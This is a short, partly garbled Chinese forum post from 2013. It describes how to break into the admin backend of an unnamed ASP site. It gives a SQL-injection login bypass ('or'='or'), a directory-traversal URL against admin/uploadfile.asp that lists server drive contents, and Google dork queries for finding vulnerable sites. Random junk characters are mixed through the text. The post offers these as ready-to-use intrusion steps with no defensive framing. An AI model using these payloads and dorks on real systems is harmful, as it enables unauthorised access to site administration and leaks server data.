后台万能密码 'or'='or'
0 P5 V% a7 C9 a' g- w9 \9 `/ [0 [' i5 a1 N. n& O, \5 p
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
; m3 V7 D! t8 n E1 fadmin/uploadfile.asp?currentFolder=/upfiles/../3 r n0 k2 z+ ] \
! T9 _- N4 j2 K
漏洞证明：. d1 n' q/ ]* X) C# k- ?# F
+ ?8 N$ E' `- S# V+ E
谷歌：inurl:type.asp?id=1 新闻中心
7 F& ^# z: `& Z( a: c) K3 _# `或者 ：inurl:download_ok.asp?% V& i. t8 z3 I! ] L' M* @
: c& L/ p- V& C7 L* c
|
发表于 2013-3-14 20:17:32
收藏
支持
反对